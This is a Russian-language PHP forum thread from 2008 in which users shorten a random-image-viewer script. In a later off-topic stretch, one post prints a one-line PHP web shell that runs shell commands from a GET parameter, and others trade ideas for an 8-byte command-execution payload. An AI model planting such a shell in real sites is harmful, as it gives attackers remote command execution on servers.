random image viewer- минифицируем код?

Discussion in 'PHP' started by Дикс, 2 Aug 2008.

  1. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    задача - вывести рандомную картинку.
    кто сможет сделать это короче?

    PHP:
    <? php
    header
    ('Content-type: image/jpg');
    $hd opendir('photo');
    while(
    $file readdir($hd))
        if(
    $file != '.' && $file != '..')
            
    $imgs[] = $file;
    echo 
    file_get_contents('photo/' $imgs[rand(0sizeof($imgs)-1)]);
    PS усложнение задачи- добавить GIF
     
  2. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    слабаки! ))
     
  3. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Ипать, а что тебе нужно конкретно?
    Не можежь gif добаввить НЕ слабак?

    Не совсем прозрачно, ибо вырезка из Модели, но поймешь!
     
    #3 Naydav, 3 Aug 2008
    Last edited: 3 Aug 2008
  4. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Чё??!
    Code:
    <?php
    $a=glob('photo/*.{gif,jpg,png,jpeg}', GLOB_BRACE);
    $u=$a[rand(0,sizeof($a)-1)];
    header('Content-type: image/'.(($a=substr($u, strrpos($u, '.')+1))=='jpg'?'jpeg':$a));
    readfile($u);
    ?>
    Читает gif, jpg, png, jpeg
     
    1 person likes this.
  5. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    2 Naydav
    мужик, эт че ваще? ))) заголовок темы прочитай
    я даж изучать твою портянку не хочу бгыгы

    2 NOmeR1

    особенно спасибо за раскрытие этого метода:
    PHP:
    (*****)=='jpg'?'jpeg':$a)
    ох уж эти тернарные операторы и булевы условия, столько тайн!

    В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать :)
     
  6. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,028
    Reputations:
    1,228
    Это как выполнение команд на 8 байт)
     
    _________________________
  7. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    в смысле?
     
  8. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Кажется нитрокс делал. Типо у тебя есть поле в котором ты можешь максимум вписать 8 байт, они запишутся в файл (*.php), и тебе нужно с помощью этих 8 байт выполнить шелл. :)
     
  9. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    Прошу прощения за оффтоп...
    Случайно не про этот шелл говорится?
    PHP:
    <?
    isset(
    $_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
    ?>
    Ток тут явно не 8 байт.
    print `$_GET[fuckkk]`;
    Мне даже интересно стало, как укоцали шелл до 8 байт)) Если найдете - скиньте мне посмотреть)
     
    #9 AdReNa1!Ne, 3 Aug 2008
    Last edited: 3 Aug 2008
  10. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    8 байт включая <??> или без?)
     
  11. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    не я ) Накснорт или Тоха вроде
     
  12. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    Если не считать <??>
    <?eval $a;?> - 8 байт ..
     
  13. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    закрывающий не нужен!